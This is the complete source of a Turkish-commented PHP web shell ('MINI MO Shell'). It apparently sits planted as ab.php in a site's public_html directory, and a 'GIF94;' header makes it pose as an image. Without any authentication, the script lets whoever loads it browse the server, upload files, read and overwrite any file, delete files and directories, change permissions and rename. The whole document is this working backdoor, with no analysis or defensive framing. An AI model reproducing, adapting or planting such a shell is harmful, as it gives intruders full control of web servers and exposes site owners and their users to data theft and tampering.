GIF94;
| Path : /home/tns/public_html/ |
| Current File : /home/tns/public_html/ab.php |
GIF94;<?php
// mini1.php - Gelişmiş Shell + Dosya Tarihleri
// Orijinal haline sadece tarih sütunu eklendi
error_reporting(0);
set_time_limit(0);
// Ana değişkenler
$current_path = (isset($_GET["path"])) ? $_GET["path"] : getcwd();
$current_path = str_replace("\\", "/", $current_path);
$path_parts = explode("/", $current_path);
// Sayfa başlangıcı (HTML)
echo "<!DOCTYPE HTML>\n<html>\n<head>\n";
echo "<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\n";
echo "<title>MINI MO Shell - Tarih Gösterimli</title>\n";
echo "<style>
body{ font-family: \"Racing Sans One\", cursive; background-color: black; color:white; }
#content tr:hover{ background-color: blue; text-shadow:0px 0px 10px #ff6f; }
#content .first{ background-color: blue; }
table{ border: 1px #0000ff dotted; }
a{ color:white; text-decoration: none; }
a:hover{ color:blue; text-shadow:0px 0px 10px #ffff66; }
input,select,textarea{ border: 1px #000000 solid; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; }
/* Tarih sütunu için renklendirme */
.date-recent { color: #ff5555; font-weight: bold; }
.date-today { color: #ffaa00; font-weight: bold; }
.date-week { color: #55ff55; }
.date-old { color: #888888; }
</style>\n</head>\n<body>\n";
// Başlık
echo "<h1><center><font color=\"blue\">MINI MINI MANI MO - TARİH GÖSTERİMLİ</font></center></h1>\n";
// --- Path Gezinti Çubuğu ---
echo "<table width=\"800\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td><font color=\"white\">Path :</font> ";
foreach ($path_parts as $index => $part) {
if ($part == "" && $index == 0) {
echo "<a href=\"?path=/\">/</a>";
continue;
}
if ($part == "") continue;
echo "<a href=\"?path=";
for ($i = 0; $i <= $index; $i++) {
echo $path_parts[$i];
if ($i != $index) echo "/";
}
echo "\">$part</a>/";
}
echo "</td></tr>\n";
// --- Dosya Yükleme Formu ---
echo "<tr><td>";
if (isset($_FILES["file"])) {
if (copy($_FILES["file"]["tmp_name"], $current_path . "/" . $_FILES["file"]["name"])) {
echo "<font color=\"green\">Upload Başarılı</font><br />";
} else {
echo "<font color=\"red\">Upload Başarısız</font><br />";
}
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\n";
echo "<font color=\"white\">File Upload :</font> <input type=\"file\" name=\"file\" />\n";
echo "<input type=\"submit\" value=\"upload\" />\n";
echo "</form>\n";
echo "</td></tr>\n";
// --- Dosya İşlemleri (Görüntüleme, Düzenleme, Silme, Yetki, İsim) ---
if (isset($_GET["filesrc"])) {
// Dosya İçeriğini Görüntüle
echo "<tr><td>Current File : " . $_GET["filesrc"] . "</td></tr></table><br />";
echo ("<pre>" . htmlspecialchars(file_get_contents($_GET["filesrc"])) . "</pre>");
} elseif (isset($_GET["option"]) && $_POST["opt"] != "delete") {
echo "</table><br /><center>" . $_POST["path"] . "<br /><br />";
if ($_POST["opt"] == "chmod") {
// Yetki Değiştirme
if (isset($_POST["perm"])) {
if (chmod($_POST["path"], $_POST["perm"])) {
echo "<font color=\"green\">Change Permission Başarılı</font><br/>";
} else {
echo "<font color=\"red\">Change Permission Başarısız</font><br />";
}
}
echo "<form method=\"POST\">\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"" . substr(sprintf("%o", fileperms($_POST["path"])), -4) . "\" />\n";
echo "<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n";
echo "<input type=\"hidden\" name=\"opt\" value=\"chmod\">\n";
echo "<input type=\"submit\" value=\"Go\" />\n</form>";
} elseif ($_POST["opt"] == "rename") {
// İsim Değiştirme
if (isset($_POST["newname"])) {
if (rename($_POST["path"], dirname($_POST["path"]) . "/" . $_POST["newname"])) {
echo "<font color=\"green\">Rename Başarılı</font><br/>";
} else {
echo "<font color=\"red\">Rename Başarısız</font><br />";
}
$_POST["name"] = $_POST["newname"];
}
echo "<form method=\"POST\">\nNew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"" . $_POST["name"] . "\" />\n";
echo "<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n";
echo "<input type=\"hidden\" name=\"opt\" value=\"rename\">\n";
echo "<input type=\"submit\" value=\"Go\" />\n</form>";
} elseif ($_POST["opt"] == "edit") {
// Dosya Düzenleme
if (isset($_POST["src"])) {
$fp = fopen($_POST["path"], "w");
if (fwrite($fp, $_POST["src"])) {
echo "<font color=\"green\">Edit Başarılı</font><br/>";
} else {
echo "<font color=\"red\">Edit Başarısız</font><br/>";
}
fclose($fp);
}
echo "<form method=\"POST\">\n<textarea cols=80 rows=20 name=\"src\">" . htmlspecialchars(file_get_contents($_POST["path"])) . "</textarea><br />\n";
echo "<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n";
echo "<input type=\"hidden\" name=\"opt\" value=\"edit\">\n";
echo "<input type=\"submit\" value=\"Save\" />\n</form>";
}
echo "</center>";
} else {
// --- Dizin Listeleme ve İşlemler ---
echo "</table><br/><center>";
// Silme İşlemi
if (isset($_GET["option"]) && $_POST["opt"] == "delete") {
if ($_POST["type"] == "dir") {
if (rmdir($_POST["path"])) {
echo "<font color=\"green\">Directory Silindi</font><br/>";
} else {
echo "<font color=\"red\">Directory Silinemedi</font><br/>";
}
} elseif ($_POST["type"] == "file") {
if (unlink($_POST["path"])) {
echo "<font color=\"green\">File Silindi</font><br/>";
} else {
echo "<font color=\"red\">File Silinemedi</font><br/>";
}
}
}
echo "</center>";
// Dizindeki öğeleri listele
if (function_exists("opendir")) {
$handle = opendir($current_path);
if ($handle) {
$scan = array();
while (($file = readdir($handle)) !== false) {
$scan[] = $file;
}
closedir($handle);
sort($scan);
}
} else {
$scan = scandir($current_path);
}
// Dosya/Dizin Tablosu - TARİH SÜTUNU EKLENDİ
echo "<div id=\"content\"><table width=\"900\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n";
echo "<tr class=\"first\">\n";
echo "<td><center>Name</center></td>\n";
echo "<td><center>Size</center></td>\n";
echo "<td><center>Permission</center></td>\n";
echo "<td><center>Modified</center></td>\n"; // YENİ: Tarih sütunu
echo "<td><center>Modify</center></td>\n";
echo "</tr>\n";
// Dizinleri listele
foreach ($scan as $item) {
if (!is_dir($current_path . "/" . $item) || $item == "." || $item == "..") continue;
$fullpath = $current_path . "/" . $item;
$mtime = filemtime($fullpath);
$date_str = date("Y-m-d H:i:s", $mtime);
$time_diff = time() - $mtime;
// Tarihe göre renk sınıfı
if ($time_diff < 3600) { // Son 1 saat
$date_class = "date-recent";
} elseif ($time_diff < 86400) { // Son 24 saat
$date_class = "date-today";
} elseif ($time_diff < 604800) { // Son 7 gün
$date_class = "date-week";
} else {
$date_class = "date-old";
}
echo "<tr>\n";
echo "<td><a href=\"?path=" . $fullpath . "\">" . $item . "</a></td>\n";
echo "<td><center>--</center></td>\n";
echo "<td><center>";
if (is_writable($fullpath)) echo "<font color=\"green\">";
elseif (!is_readable($fullpath)) echo "<font color=\"blue\">";
echo perms($fullpath);
if (is_writable($fullpath) || !is_readable($fullpath)) echo "</font>";
echo "</center></td>\n";
// Tarih sütunu
echo "<td><center><span class='$date_class' title='$date_str'>" . $date_str . "</span></center></td>\n";
// Modify formu
echo "<td><center><form method=\"POST\" action=\"?option&path=" . $current_path . "\">\n";
echo "<select name=\"opt\">\n<option value=\"\">Select</option>\n<option value=\"delete\">Delete</option>\n<option value=\"chmod\">Chmod</option>\n<option value=\"rename\">Rename</option>\n</select>\n";
echo "<input type=\"hidden\" name=\"type\" value=\"dir\">\n";
echo "<input type=\"hidden\" name=\"name\" value=\"" . $item . "\">\n";
echo "<input type=\"hidden\" name=\"path\" value=\"" . $fullpath . "\">\n";
echo "<input type=\"submit\" value=\">\">\n</form></center></td>\n";
echo "</tr>\n";
}
// Boşluk
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td></tr>\n";
// Dosyaları listele
foreach ($scan as $item) {
if (!is_file($current_path . "/" . $item)) continue;
$fullpath = $current_path . "/" . $item;
$file_size = filesize($fullpath) / 1024;
$file_size = round($file_size, 3);
if ($file_size >= 1024) {
$file_size = round($file_size / 1024, 2) . " MB";
} else {
$file_size = $file_size . " KB";
}
$mtime = filemtime($fullpath);
$date_str = date("Y-m-d H:i:s", $mtime);
$time_diff = time() - $mtime;
// Tarihe göre renk sınıfı
if ($time_diff < 3600) { // Son 1 saat
$date_class = "date-recent";
} elseif ($time_diff < 86400) { // Son 24 saat
$date_class = "date-today";
} elseif ($time_diff < 604800) { // Son 7 gün
$date_class = "date-week";
} else {
$date_class = "date-old";
}
echo "<tr>\n";
echo "<td><a href=\"?filesrc=" . $fullpath . "&path=" . $current_path . "\">" . $item . "</a></td>\n";
echo "<td><center>" . $file_size . "</center></td>\n";
echo "<td><center>";
if (is_writable($fullpath)) echo "<font color=\"green\">";
elseif (!is_readable($fullpath)) echo "<font color=\"blue\">";
echo perms($fullpath);
if (is_writable($fullpath) || !is_readable($fullpath)) echo "</font>";
echo "</center></td>\n";
// Tarih sütunu
echo "<td><center><span class='$date_class' title='$date_str'>" . $date_str . "</span></center></td>\n";
// Dosya işlem formu
echo "<td><center><form method=\"POST\" action=\"?option&path=" . $current_path . "\">\n";
echo "<select name=\"opt\">\n<option value=\"\">Select</option>\n<option value=\"delete\">Delete</option>\n<option value=\"chmod\">Chmod</option>\n<option value=\"rename\">Rename</option>\n<option value=\"edit\">Edit</option>\n</select>\n";
echo "<input type=\"hidden\" name=\"type\" value=\"file\">\n";
echo "<input type=\"hidden\" name=\"name\" value=\"" . $item . "\">\n";
echo "<input type=\"hidden\" name=\"path\" value=\"" . $fullpath . "\">\n";
echo "<input type=\"submit\" value=\">\">\n</form></center></td>\n";
echo "</tr>\n";
}
echo "</table>\n</div>\n";
}
echo "<center><br/> OHA YOOO - Tarih: " . date("Y-m-d H:i:s") . "</center>\n</body>\n</html>";
// --- İzinleri Oktal ve Sembolik Olarak Gösteren Fonksiyon ---
function perms($file) {
$perms = fileperms($file);
// Dosya türü
if (($perms & 0xC000) == 0xC000) { $info = 's'; }
elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
else { $info = 'u'; }
// Sahip izinleri
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
// Grup izinleri
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
// Diğer izinler
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>